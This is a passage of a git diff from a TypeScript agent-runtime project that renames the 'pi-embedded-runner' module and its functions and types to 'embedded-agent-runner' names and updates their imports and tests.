src/agents/pi-embedded-runner/run/transcript-repair-runtime-contract.test.ts rename to src/agents/embedded-agent-runner/run/transcript-repair-runtime-contract.test.ts index dc1418320af..9ad1942980d 100644 --- a/src/agents/pi-embedded-runner/run/transcript-repair-runtime-contract.test.ts +++ b/src/agents/embedded-agent-runner/run/transcript-repair-runtime-contract.test.ts @@ -19,7 +19,7 @@ afterEach(() => { restoreStrategy = undefined; }); -describe("Pi transcript repair runtime contract", () => { +describe("embedded agent transcript repair runtime contract", () => { it("merges text orphan leaves into the next prompt with the queued marker", () => { const result = mergeOrphanedTrailingUserPrompt({ prompt: "newest inbound message", diff --git a/src/agents/pi-embedded-runner/run/trigger-policy.test.ts b/src/agents/embedded-agent-runner/run/trigger-policy.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/trigger-policy.test.ts rename to src/agents/embedded-agent-runner/run/trigger-policy.test.ts diff --git a/src/agents/pi-embedded-runner/run/trigger-policy.ts b/src/agents/embedded-agent-runner/run/trigger-policy.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/trigger-policy.ts rename to src/agents/embedded-agent-runner/run/trigger-policy.ts diff --git a/src/agents/pi-embedded-runner/run/types.ts b/src/agents/embedded-agent-runner/run/types.ts similarity index 93% rename from src/agents/pi-embedded-runner/run/types.ts rename to src/agents/embedded-agent-runner/run/types.ts index b9b45c4dbd7..be81f0a21b3 100644 --- a/src/agents/pi-embedded-runner/run/types.ts +++ b/src/agents/embedded-agent-runner/run/types.ts @@ -1,6 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { Api, AssistantMessage, Model } from "@earendil-works/pi-ai"; -import type { AuthStorage, ModelRegistry } from "@earendil-works/pi-coding-agent"; import type { HeartbeatToolResponse } from "../../../auto-reply/heartbeat-tool-response.js"; import type { ThinkLevel } from "../../../auto-reply/thinking.js"; import type { @@ -9,26 +6,29 @@ import type { } from "../../../config/sessions/types.js"; import type { ContextEngine, ContextEnginePromptCacheInfo } from "../../../context-engine/types.js"; import type { DiagnosticTraceContext } from "../../../infra/diagnostic-trace-context.js"; +import type { AssistantMessage, Model } from "../../../llm/types.js"; import type { PluginHookBeforeAgentStartResult } from "../../../plugins/hook-before-agent-start.types.js"; import type { AgentHarnessTaskRuntimeScope } from "../../../tasks/agent-harness-task-runtime-scope.js"; import type { AcceptedSessionSpawn } from "../../accepted-session-spawn.js"; +import type { ToolOutcomeObserver } from "../../agent-tools.before-tool-call.js"; import type { AuthProfileStore } from "../../auth-profiles/types.js"; import type { MessagingToolSend, MessagingToolSourceReplyPayload, -} from "../../pi-embedded-messaging.types.js"; -import type { ToolOutcomeObserver } from "../../pi-tools.before-tool-call.js"; +} from "../../embedded-agent-messaging.types.js"; import type { AgentRunTimeoutPhase } from "../../run-timeout-attribution.js"; import type { AgentRuntimePlan } from "../../runtime-plan/types.js"; +import type { AgentMessage } from "../../runtime/index.js"; +import type { AuthStorage, ModelRegistry } from "../../sessions/index.js"; import type { ToolErrorSummary } from "../../tool-error-summary.js"; import type { NormalizedUsage } from "../../usage.js"; import type { EmbeddedRunReplayMetadata, EmbeddedRunReplayState } from "../replay-state.js"; import type { EmbeddedRunLivenessState } from "../types.js"; -import type { RunEmbeddedPiAgentParams } from "./params.js"; +import type { RunEmbeddedAgentParams } from "./params.js"; import type { PreemptiveCompactionRoute } from "./preemptive-compaction.types.js"; type EmbeddedRunAttemptBase = Omit< - RunEmbeddedPiAgentParams, + RunEmbeddedAgentParams, "provider" | "model" | "authProfileId" | "authProfileIdSource" | "thinkLevel" | "lane" | "enqueue" >; @@ -62,7 +62,7 @@ export type EmbeddedRunAttemptParams = EmbeddedRunAttemptBase & { agentHarnessTaskRuntimeScope?: AgentHarnessTaskRuntimeScope; /** Live observer called after wrapped tool outcomes are recorded. */ onToolOutcome?: ToolOutcomeObserver; - model: Model; + model: Model; authStorage: AuthStorage; /** Auth profile store already resolved during startup for this attempt. */ authProfileStore: AuthProfileStore; @@ -73,7 +73,7 @@ export type EmbeddedRunAttemptParams = EmbeddedRunAttemptBase & { toolAuthProfileStore?: AuthProfileStore; modelRegistry: ModelRegistry; thinkLevel: ThinkLevel; - legacyBeforeAgentStartResult?: PluginHookBeforeAgentStartResult; + beforeAgentStartResult?: PluginHookBeforeAgentStartResult; }; export type EmbeddedRunAttemptResult = { diff --git a/src/agents/pi-embedded-runner/runs.test.ts b/src/agents/embedded-agent-runner/runs.test.ts similarity index 88% rename from src/agents/pi-embedded-runner/runs.test.ts rename to src/agents/embedded-agent-runner/runs.test.ts index 3e52cca2fca..33a09393819 100644 --- a/src/agents/pi-embedded-runner/runs.test.ts +++ b/src/agents/embedded-agent-runner/runs.test.ts @@ -15,15 +15,15 @@ import { import { diagnosticLogger } from "../../logging/diagnostic.js"; import { testing, - abortAndDrainEmbeddedPiRun, - abortEmbeddedPiRun, + abortAndDrainEmbeddedAgentRun, + abortEmbeddedAgentRun, clearActiveEmbeddedRun, consumeEmbeddedRunModelSwitch, getActiveEmbeddedRunSnapshot, - isEmbeddedPiRunHandleActive, - formatEmbeddedPiQueueFailureSummary, - queueEmbeddedPiMessageWithOutcome, - queueEmbeddedPiMessageWithOutcomeAsync, + isEmbeddedAgentRunHandleActive, + formatEmbeddedAgentQueueFailureSummary, + queueEmbeddedAgentMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcomeAsync, requestEmbeddedRunModelSwitch, resolveActiveEmbeddedRunHandleSessionId, resolveActiveEmbeddedRunHandleSessionIdBySessionFile, @@ -53,7 +53,7 @@ function createRunHandle( }; } -describe("pi-embedded runner run registry", () => { +describe("embedded-agent runner run registry", () => { afterEach(() => { testing.resetActiveEmbeddedRuns(); replyRunTesting.resetReplyRunRegistry(); @@ -73,7 +73,7 @@ describe("pi-embedded runner run registry", () => { setActiveEmbeddedRun("session-normal", createRunHandle({ abort: abortNormal })); - const aborted = abortEmbeddedPiRun(undefined, { mode: "compacting" }); + const aborted = abortEmbeddedAgentRun(undefined, { mode: "compacting" }); expect(aborted).toBe(true); expect(abortCompacting).toHaveBeenCalledTimes(1); expect(abortNormal).not.toHaveBeenCalled(); @@ -87,7 +87,7 @@ describe("pi-embedded runner run registry", () => { setActiveEmbeddedRun("session-b", createRunHandle({ abort: abortB })); - const aborted = abortEmbeddedPiRun(undefined, { mode: "all" }); + const aborted = abortEmbeddedAgentRun(undefined, { mode: "all" }); expect(aborted).toBe(true); expect(abortA).toHaveBeenCalledTimes(1); expect(abortB).toHaveBeenCalledTimes(1); @@ -145,7 +145,7 @@ describe("pi-embedded runner run registry", () => { }); expect( - queueEmbeddedPiMessageWithOutcome("session-steer", "continue", { + queueEmbeddedAgentMessageWithOutcome("session-steer", "continue", { steeringMode: "all", sourceReplyDeliveryMode: "message_tool_only", }).queued, @@ -164,7 +164,7 @@ describe("pi-embedded runner run registry", () => { queueMessage, }); - const outcome = queueEmbeddedPiMessageWithOutcome( + const outcome = queueEmbeddedAgentMessageWithOutcome( "session-automatic-source-reply", "continue", { @@ -189,7 +189,7 @@ describe("pi-embedded runner run registry", () => { queueMessage, }); - expect(queueEmbeddedPiMessageWithOutcome("session-default-steer", "continue").queued).toBe( + expect(queueEmbeddedAgentMessageWithOutcome("session-default-steer", "continue").queued).toBe( true, ); @@ -197,7 +197,7 @@ describe("pi-embedded runner run registry", () => { }); it("returns a structured no-active-run queue failure", () => { - const outcome = queueEmbeddedPiMessageWithOutcome("session-missing", "continue"); + const outcome = queueEmbeddedAgentMessageWithOutcome("session-missing", "continue"); expect(outcome).toEqual({ queued: false, @@ -205,7 +205,7 @@ describe("pi-embedded runner run registry", () => { reason: "no_active_run", gatewayHealth: "live", }); - expect(formatEmbeddedPiQueueFailureSummary(outcome)).toBe( + expect(formatEmbeddedAgentQueueFailureSummary(outcome)).toBe( "queue_message_failed reason=no_active_run sessionId=session-missing gatewayHealth=live", ); }); @@ -214,13 +214,13 @@ describe("pi-embedded runner run registry", () => { setActiveEmbeddedRun("session-not-streaming", createRunHandle({ isStreaming: false })); setActiveEmbeddedRun("session-compacting", createRunHandle({ isCompacting: true })); - expect(queueEmbeddedPiMessageWithOutcome("session-not-streaming", "continue")).toEqual({ + expect(queueEmbeddedAgentMessageWithOutcome("session-not-streaming", "continue")).toEqual({ queued: false, sessionId: "session-not-streaming", reason: "not_streaming", gatewayHealth: "live", }); - expect(queueEmbeddedPiMessageWithOutcome("session-compacting", "continue")).toEqual({ + expect(queueEmbeddedAgentMessageWithOutcome("session-compacting", "continue")).toEqual({ queued: false, sessionId: "session-compacting", reason: "compacting", @@ -236,7 +236,7 @@ describe("pi-embedded runner run registry", () => { }, }); - const outcome = await queueEmbeddedPiMessageWithOutcomeAsync("session-rejected", "continue"); + const outcome = await queueEmbeddedAgentMessageWithOutcomeAsync("session-rejected", "continue"); expect(outcome).toEqual({ queued: false, @@ -245,7 +245,7 @@ describe("pi-embedded runner run registry", () => { gatewayHealth: "live", errorMessage: "cannot steer a compact turn", }); - expect(formatEmbeddedPiQueueFailureSummary(outcome)).toBe( + expect(formatEmbeddedAgentQueueFailureSummary(outcome)).toBe( "queue_message_failed reason=runtime_rejected sessionId=session-rejected gatewayHealth=live error=cannot steer a compact turn", ); }); @@ -257,7 +257,7 @@ describe("pi-embedded runner run registry", () => { queueMessage, }); - const outcome = await queueEmbeddedPiMessageWithOutcomeAsync( + const outcome = await queueEmbeddedAgentMessageWithOutcomeAsync( "session-no-transcript-wait", "continue", { waitForTranscriptCommit: true }, @@ -287,7 +287,7 @@ describe("pi-embedded runner run registry", () => { }); operation.setPhase("running"); - const outcome = await queueEmbeddedPiMessageWithOutcomeAsync( + const outcome = await queueEmbeddedAgentMessageWithOutcomeAsync( "session-reply-run", "completion from child", { waitForTranscriptCommit: true }, @@ -314,7 +314,7 @@ describe("pi-embedded runner run registry", () => { const abortRun = vi.fn(); setActiveEmbeddedRun("session-stuck", createRunHandle({ abort: abortRun }), "agent:main"); - const resultPromise = abortAndDrainEmbeddedPiRun({ + const resultPromise = abortAndDrainEmbeddedAgentRun({ sessionId: "session-stuck", sessionKey: "agent:main", settleMs: 100, @@ -326,7 +326,7 @@ describe("pi-embedded runner run registry", () => { expect(result).toEqual({ aborted: true, drained: false, forceCleared: true }); expect(abortRun).toHaveBeenCalledTimes(1); - expect(isEmbeddedPiRunHandleActive("session-stuck")).toBe(false); + expect(isEmbeddedAgentRunHandleActive("session-stuck")).toBe(false); expect(resolveActiveEmbeddedRunHandleSessionId("agent:main")).toBeUndefined(); } finally { await vi.runOnlyPendingTimersAsync(); @@ -385,10 +385,10 @@ describe("pi-embedded runner run registry", () => { try { runsA.setActiveEmbeddedRun("session-shared", handle); - expect(runsB.isEmbeddedPiRunActive("session-shared")).toBe(true); + expect(runsB.isEmbeddedAgentRunActive("session-shared")).toBe(true); runsB.clearActiveEmbeddedRun("session-shared", handle); - expect(runsA.isEmbeddedPiRunActive("session-shared")).toBe(false); + expect(runsA.isEmbeddedAgentRunActive("session-shared")).toBe(false); } finally { runsA.testing.resetActiveEmbeddedRuns(); runsB.testing.resetActiveEmbeddedRuns(); @@ -398,17 +398,17 @@ describe("pi-embedded runner run registry", () => { it("tracks actual embedded handles separately from reply-operation ownership", () => { const handle = createRunHandle(); - expect(isEmbeddedPiRunHandleActive("session-a")).toBe(false); + expect(isEmbeddedAgentRunHandleActive("session-a")).toBe(false); expect(resolveActiveEmbeddedRunHandleSessionId("agent:main:main")).toBeUndefined(); setActiveEmbeddedRun("session-a", handle, "agent:main:main"); - expect(isEmbeddedPiRunHandleActive("session-a")).toBe(true); + expect(isEmbeddedAgentRunHandleActive("session-a")).toBe(true); expect(resolveActiveEmbeddedRunHandleSessionId("agent:main:main")).toBe("session-a"); clearActiveEmbeddedRun("session-a", handle, "agent:main:main"); - expect(isEmbeddedPiRunHandleActive("session-a")).toBe(false); + expect(isEmbeddedAgentRunHandleActive("session-a")).toBe(false); expect(resolveActiveEmbeddedRunHandleSessionId("agent:main:main")).toBeUndefined(); }); @@ -420,7 +420,7 @@ describe("pi-embedded runner run registry", () => { clearActiveEmbeddedRun("session-repeat-clear", handle, "agent:main:main"); clearActiveEmbeddedRun("session-repeat-clear", handle, "agent:main:main"); - expect(isEmbeddedPiRunHandleActive("session-repeat-clear")).toBe(false); + expect(isEmbeddedAgentRunHandleActive("session-repeat-clear")).toBe(false); expect(resolveActiveEmbeddedRunHandleSessionId("agent:main:main")).toBeUndefined(); expect( debugSpy.mock.calls.some(([message]) => message.includes("reason=handle_mismatch")), @@ -435,7 +435,7 @@ describe("pi-embedded runner run registry", () => { setActiveEmbeddedRun("session-handle-replaced", activeHandle); clearActiveEmbeddedRun("session-handle-replaced", staleHandle); - expect(isEmbeddedPiRunHandleActive("session-handle-replaced")).toBe(true); + expect(isEmbeddedAgentRunHandleActive("session-handle-replaced")).toBe(true); expect( debugSpy.mock.calls.some(([message]) => message.includes("reason=handle_mismatch")), ).toBe(true); diff --git a/src/agents/pi-embedded-runner/runs.ts b/src/agents/embedded-agent-runner/runs.ts similarity index 87% rename from src/agents/pi-embedded-runner/runs.ts rename to src/agents/embedded-agent-runner/runs.ts index 6915f333051..54e354f47c3 100644 --- a/src/agents/pi-embedded-runner/runs.ts +++ b/src/agents/embedded-agent-runner/runs.ts @@ -28,8 +28,8 @@ import { EMBEDDED_RUN_WAITERS, getActiveEmbeddedRunCount, type ActiveEmbeddedRunSnapshot, - type EmbeddedPiQueueHandle, - type EmbeddedPiQueueMessageOptions, + type EmbeddedAgentQueueHandle, + type EmbeddedAgentQueueMessageOptions, type EmbeddedRunModelSwitchRequest, type EmbeddedRunWaiter, } from "./run-state.js"; @@ -40,12 +40,12 @@ export { listActiveEmbeddedRunSessionIds, listActiveEmbeddedRunSessionKeys, type ActiveEmbeddedRunSnapshot, - type EmbeddedPiQueueHandle, - type EmbeddedPiQueueMessageOptions, + type EmbeddedAgentQueueHandle, + type EmbeddedAgentQueueMessageOptions, type EmbeddedRunModelSwitchRequest, } from "./run-state.js"; -export type EmbeddedPiQueueFailureReason = +export type EmbeddedAgentQueueFailureReason = | "no_active_run" | "not_streaming" | "compacting" @@ -53,7 +53,7 @@ export type EmbeddedPiQueueFailureReason = | "transcript_commit_wait_unsupported" | "runtime_rejected"; -export type EmbeddedPiQueueMessageOutcome = +export type EmbeddedAgentQueueMessageOutcome = | { queued: true; sessionId: string; @@ -65,26 +65,26 @@ export type EmbeddedPiQueueMessageOutcome = | { queued: false; sessionId: string; - reason: EmbeddedPiQueueFailureReason; + reason: EmbeddedAgentQueueFailureReason; gatewayHealth: "live"; errorMessage?: string; }; -type PreparedEmbeddedPiQueueMessage = +type PreparedEmbeddedAgentQueueMessage = | { kind: "complete"; - outcome: EmbeddedPiQueueMessageOutcome; + outcome: EmbeddedAgentQueueMessageOutcome; } | { kind: "embedded_run"; - handle: EmbeddedPiQueueHandle; + handle: EmbeddedAgentQueueHandle; }; function createQueueFailureOutcome( sessionId: string, - reason: EmbeddedPiQueueFailureReason, + reason: EmbeddedAgentQueueFailureReason, errorMessage?: string, -): EmbeddedPiQueueMessageOutcome { +): EmbeddedAgentQueueMessageOutcome { return { queued: false, sessionId, @@ -94,8 +94,8 @@ function createQueueFailureOutcome( }; } -export function formatEmbeddedPiQueueFailureSummary( - outcome: EmbeddedPiQueueMessageOutcome, +export function formatEmbeddedAgentQueueFailureSummary( + outcome: EmbeddedAgentQueueMessageOutcome, ): string | undefined { if (outcome.queued) { return undefined; @@ -152,33 +152,33 @@ function clearActiveRunSessionFiles(sessionId: string, sessionFile?: string): vo } /** - * @deprecated Use queueEmbeddedPiMessageWithOutcomeAsync for delivery decisions. + * @deprecated Use queueEmbeddedAgentMessageWithOutcomeAsync for delivery decisions. * This boolean helper only reports immediate queue eligibility; it cannot surface * async runtime rejection from the active run. */ -export function queueEmbeddedPiMessage( +export function queueEmbeddedAgentMessage( sessionId: string, text: string, - options?: EmbeddedPiQueueMessageOptions, + options?: EmbeddedAgentQueueMessageOptions, ): boolean { - return queueEmbeddedPiMessageWithOutcome(sessionId, text, options).queued; + return queueEmbeddedAgentMessageWithOutcome(sessionId, text, options).queued; } /** - * @deprecated Prefer queueEmbeddedPiMessageWithOutcomeAsync when callers need to + * @deprecated Prefer queueEmbeddedAgentMessageWithOutcomeAsync when callers need to * know whether steering was accepted. This sync helper is fire-and-forget after * initial eligibility and only logs later runtime rejection. */ -export function queueEmbeddedPiMessageWithOutcome( +export function queueEmbeddedAgentMessageWithOutcome( sessionId: string, text: string, - options?: EmbeddedPiQueueMessageOptions, -): EmbeddedPiQueueMessageOutcome { - const prepared = prepareEmbeddedPiQueueMessage(sessionId, text, options); + options?: EmbeddedAgentQueueMessageOptions, +): EmbeddedAgentQueueMessageOutcome { + const prepared = prepareEmbeddedAgentQueueMessage(sessionId, text, options); if (prepared.kind === "complete") { return prepared.outcome; } - logMessageQueued({ sessionId, source: "pi-embedded-runner" }); + logMessageQueued({ sessionId, source: "embedded-agent-runner" }); void prepared.handle .queueMessage(text, options ?? { steeringMode: "all" }) .catch((err: unknown) => { @@ -199,12 +199,12 @@ function formatQueueError(err: unknown): string { return err instanceof Error ? err.message : String(err); } -export async function queueEmbeddedPiMessageWithOutcomeAsync( +export async function queueEmbeddedAgentMessageWithOutcomeAsync( sessionId: string, text: string, - options?: EmbeddedPiQueueMessageOptions, -): Promise { - const prepared = prepareEmbeddedPiQueueMessage(sessionId, text, options); + options?: EmbeddedAgentQueueMessageOptions, +): Promise { + const prepared = prepareEmbeddedAgentQueueMessage(sessionId, text, options); if (prepared.kind === "complete") { return prepared.outcome; } @@ -212,7 +212,7 @@ export async function queueEmbeddedPiMessageWithOutcomeAsync( const enqueuedAtMs = Date.now(); await prepared.handle.queueMessage(text, options ?? { steeringMode: "all" }); const deliveredAtMs = options?.waitForTranscriptCommit ? Date.now() : undefined; - logMessageQueued({ sessionId, source: "pi-embedded-runner" }); + logMessageQueued({ sessionId, source: "embedded-agent-runner" }); return { queued: true, sessionId, @@ -228,16 +228,16 @@ export async function queueEmbeddedPiMessageWithOutcomeAsync( } } -function prepareEmbeddedPiQueueMessage( +function prepareEmbeddedAgentQueueMessage( sessionId: string, text: string, - options?: EmbeddedPiQueueMessageOptions, -): PreparedEmbeddedPiQueueMessage { + options?: EmbeddedAgentQueueMessageOptions, +): PreparedEmbeddedAgentQueueMessage { const handle = ACTIVE_EMBEDDED_RUNS.get(sessionId); if (!handle) { const queuedReplyRunMessage = queueReplyRunMessage(sessionId, text); if (queuedReplyRunMessage) { - logMessageQueued({ sessionId, source: "pi-embedded-runner" }); + logMessageQueued({ sessionId, source: "embedded-agent-runner" }); return { kind: "complete", outcome: { @@ -294,17 +294,17 @@ function prepareEmbeddedPiQueueMessage( } /** - * Abort embedded PI runs. + * Abort embedded OpenClaw runs. * * - With a sessionId, aborts that single run. * - With no sessionId, supports targeted abort modes (for example, compacting runs only). */ -export function abortEmbeddedPiRun(sessionId: string): boolean; -export function abortEmbeddedPiRun( +export function abortEmbeddedAgentRun(sessionId: string): boolean; +export function abortEmbeddedAgentRun( sessionId: undefined, opts: { mode: "all" | "compacting" }, ): boolean; -export function abortEmbeddedPiRun( +export function abortEmbeddedAgentRun( sessionId?: string, opts?: { mode?: "all" | "compacting" }, ): boolean { @@ -362,7 +362,7 @@ export function abortEmbeddedPiRun( return false; } -export function isEmbeddedPiRunActive(sessionId: string): boolean { +export function isEmbeddedAgentRunActive(sessionId: string): boolean { const active = ACTIVE_EMBEDDED_RUNS.has(sessionId) || isReplyRunActiveForSessionId(sessionId); if (active) { diag.debug(`run active check: sessionId=${sessionId} active=true`); @@ -370,7 +370,7 @@ export function isEmbeddedPiRunActive(sessionId: string): boolean { return active; } -export function isEmbeddedPiRunHandleActive(sessionId: string): boolean { +export function isEmbeddedAgentRunHandleActive(sessionId: string): boolean { const active = ACTIVE_EMBEDDED_RUNS.has(sessionId); if (active) { diag.debug(`run handle active check: sessionId=${sessionId} active=true`); @@ -378,7 +378,7 @@ export function isEmbeddedPiRunHandleActive(sessionId: string): boolean { return active; } -export function isEmbeddedPiRunStreaming(sessionId: string): boolean { +export function isEmbeddedAgentRunStreaming(sessionId: string): boolean { const handle = ACTIVE_EMBEDDED_RUNS.get(sessionId); if (!handle) { return isReplyRunStreamingForSessionId(sessionId); @@ -503,7 +503,10 @@ export async function waitForActiveEmbeddedRuns( } } -export function waitForEmbeddedPiRunEnd(sessionId: string, timeoutMs = 15_000): Promise { +export function waitForEmbeddedAgentRunEnd( + sessionId: string, + timeoutMs = 15_000, +): Promise { if (!sessionId) { return Promise.resolve(true); } @@ -540,25 +543,25 @@ export function waitForEmbeddedPiRunEnd(sessionId: string, timeoutMs = 15_000): }); } -export type AbortAndDrainEmbeddedPiRunResult = { +export type AbortAndDrainEmbeddedAgentRunResult = { aborted: boolean; drained: boolean; forceCleared: boolean; }; -export async function abortAndDrainEmbeddedPiRun(params: { +export async function abortAndDrainEmbeddedAgentRun(params: { sessionId: string; sessionKey?: string; settleMs?: number; forceClear?: boolean; reason?: string; -}): Promise { +}): Promise { const settleMs = params.settleMs ?? 15_000; - const aborted = abortEmbeddedPiRun(params.sessionId); - const drained = aborted ? await waitForEmbeddedPiRunEnd(params.sessionId, settleMs) : false; + const aborted = abortEmbeddedAgentRun(params.sessionId); + const drained = aborted ? await waitForEmbeddedAgentRunEnd(params.sessionId, settleMs) : false; const forceCleared = params.forceClear === true && (!aborted || !drained) - ? forceClearEmbeddedPiRun(params.sessionId, params.sessionKey, params.reason) + ? forceClearEmbeddedAgentRun(params.sessionId, params.sessionKey, params.reason) : false; return { aborted, drained, forceCleared }; } @@ -578,7 +581,7 @@ function notifyEmbeddedRunEnded(sessionId: string) { export function setActiveEmbeddedRun( sessionId: string, - handle: EmbeddedPiQueueHandle, + handle: EmbeddedAgentQueueHandle, sessionKey?: string, sessionFile?: string, ) { @@ -624,7 +627,7 @@ export function updateActiveEmbeddedRunSessionFile( export function clearActiveEmbeddedRun( sessionId: string, - handle: EmbeddedPiQueueHandle, + handle: EmbeddedAgentQueueHandle, sessionKey?: string, sessionFile?: string, ) { @@ -655,7 +658,7 @@ export function clearActiveEmbeddedRun( } } -export function forceClearEmbeddedPiRun( +export function forceClearEmbeddedAgentRun( sessionId: string, sessionKey?: string, reason = "stuck_recovery", diff --git a/src/agents/pi-embedded-runner/sandbox-info.ts b/src/agents/embedded-agent-runner/sandbox-info.ts similarity index 100% rename from src/agents/pi-embedded-runner/sandbox-info.ts rename to src/agents/embedded-agent-runner/sandbox-info.ts diff --git a/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts b/src/agents/embedded-agent-runner/sanitize-session-history.tool-result-details.test.ts similarity index 93% rename from src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts rename to src/agents/embedded-agent-runner/sanitize-session-history.tool-result-details.test.ts index 6cc03993154..4268d39dcc0 100644 --- a/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts +++ b/src/agents/embedded-agent-runner/sanitize-session-history.tool-result-details.test.ts @@ -1,6 +1,6 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { ToolResultMessage, UserMessage } from "@earendil-works/pi-ai"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; +import type { ToolResultMessage, UserMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { makeAgentAssistantMessage } from "../test-helpers/agent-message-fixtures.js"; import { sanitizeSessionHistory } from "./replay-history.js"; diff --git a/src/agents/pi-embedded-runner/session-file-key.ts b/src/agents/embedded-agent-runner/session-file-key.ts similarity index 100% rename from src/agents/pi-embedded-runner/session-file-key.ts rename to src/agents/embedded-agent-runner/session-file-key.ts diff --git a/src/agents/pi-embedded-runner/session-manager-cache.test.ts b/src/agents/embedded-agent-runner/session-manager-cache.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/session-manager-cache.test.ts rename to src/agents/embedded-agent-runner/session-manager-cache.test.ts diff --git a/src/agents/pi-embedded-runner/session-manager-cache.ts b/src/agents/embedded-agent-runner/session-manager-cache.ts similarity index 100% rename from src/agents/pi-embedded-runner/session-manager-cache.ts rename to src/agents/embedded-agent-runner/session-manager-cache.ts diff --git a/src/agents/pi-embedded-runner/session-manager-init.ts b/src/agents/embedded-agent-runner/session-manager-init.ts similarity index 97% rename from src/agents/pi-embedded-runner/session-manager-init.ts rename to src/agents/embedded-agent-runner/session-manager-init.ts index 95c699947bd..6a947430245 100644 --- a/src/agents/pi-embedded-runner/session-manager-init.ts +++ b/src/agents/embedded-agent-runner/session-manager-init.ts @@ -4,7 +4,7 @@ type SessionHeaderEntry = { type: "session"; id?: string; cwd?: string }; type SessionMessageEntry = { type: "message"; message?: { role?: string } }; /** - * pi-coding-agent SessionManager persistence quirk: + * session runtime SessionManager persistence quirk: * - If the file exists but has no assistant message, SessionManager marks itself `flushed=true` * and will never persist the initial user message. * - If the file doesn't exist yet, SessionManager builds a new session in memory and flushes diff --git a/src/agents/pi-embedded-runner/sessions-yield.orchestration.test.ts b/src/agents/embedded-agent-runner/sessions-yield.orchestration.test.ts similarity index 87% rename from src/agents/pi-embedded-runner/sessions-yield.orchestration.test.ts rename to src/agents/embedded-agent-runner/sessions-yield.orchestration.test.ts index d08ae9d1cad..c51896ac247 100644 --- a/src/agents/pi-embedded-runner/sessions-yield.orchestration.test.ts +++ b/src/agents/embedded-agent-runner/sessions-yield.orchestration.test.ts @@ -11,13 +11,13 @@ import { mockedRunEmbeddedAttempt, overflowBaseRunParams, } from "./run.overflow-compaction.harness.js"; -import { isEmbeddedPiRunActive, queueEmbeddedPiMessageWithOutcome } from "./runs.js"; +import { isEmbeddedAgentRunActive, queueEmbeddedAgentMessageWithOutcome } from "./runs.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; describe("sessions_yield orchestration", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -37,7 +37,7 @@ describe("sessions_yield orchestration", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, sessionId, runId: "run-yield-orchestration", @@ -50,10 +50,10 @@ describe("sessions_yield orchestration", () => { expect(result.meta.pendingToolCalls).toBeUndefined(); // 3. Parent session is IDLE (not in ACTIVE_EMBEDDED_RUNS) - expect(isEmbeddedPiRunActive(sessionId)).toBe(false); + expect(isEmbeddedAgentRunActive(sessionId)).toBe(false); // 4. Steer would fail (message delivery must take direct path, not steer) - const queueResult = queueEmbeddedPiMessageWithOutcome(sessionId, "subagent result"); + const queueResult = queueEmbeddedAgentMessageWithOutcome(sessionId, "subagent result"); expect(queueResult.queued).toBe(false); if (queueResult.queued) { throw new Error("expected queue attempt to fail without an active run"); @@ -71,7 +71,7 @@ describe("sessions_yield orchestration", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-yield-vs-client-tool", }); @@ -97,7 +97,7 @@ describe("sessions_yield orchestration", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-multi-client-tool", }); @@ -117,7 +117,7 @@ describe("sessions_yield orchestration", () => { it("normal attempt without yield has no stopReason override", async () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-no-yield", }); diff --git a/src/agents/pi-embedded-runner/skills-runtime.integration.test.ts b/src/agents/embedded-agent-runner/skills-runtime.integration.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/skills-runtime.integration.test.ts rename to src/agents/embedded-agent-runner/skills-runtime.integration.test.ts diff --git a/src/agents/pi-embedded-runner/skills-runtime.test.ts b/src/agents/embedded-agent-runner/skills-runtime.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/skills-runtime.test.ts rename to src/agents/embedded-agent-runner/skills-runtime.test.ts diff --git a/src/agents/pi-embedded-runner/skills-runtime.ts b/src/agents/embedded-agent-runner/skills-runtime.ts similarity index 100% rename from src/agents/pi-embedded-runner/skills-runtime.ts rename to src/agents/embedded-agent-runner/skills-runtime.ts diff --git a/src/agents/pi-embedded-runner/stream-resolution.test.ts b/src/agents/embedded-agent-runner/stream-resolution.test.ts similarity index 89% rename from src/agents/pi-embedded-runner/stream-resolution.test.ts rename to src/agents/embedded-agent-runner/stream-resolution.test.ts index 183a6fd2bfd..58789f4612c 100644 --- a/src/agents/pi-embedded-runner/stream-resolution.test.ts +++ b/src/agents/embedded-agent-runner/stream-resolution.test.ts @@ -1,6 +1,7 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { getApiProvider, streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { afterEach, describe, expect, it, vi } from "vitest"; +import { getApiProvider } from "../../llm/api-registry.js"; +import { streamSimple } from "../../llm/stream.js"; import * as providerTransportStream from "../provider-transport-stream.js"; import { SYSTEM_PROMPT_CACHE_BOUNDARY } from "../system-prompt-cache-boundary.js"; import { @@ -44,7 +45,7 @@ async function expectStreamResultRecord( } afterEach(() => { - testing.resetPiNativeCodexResponsesStreamFnForTest(); + testing.resetOpenClawNativeCodexResponsesStreamFnForTest(); }); describe("describeEmbeddedAgentStreamStrategy", () 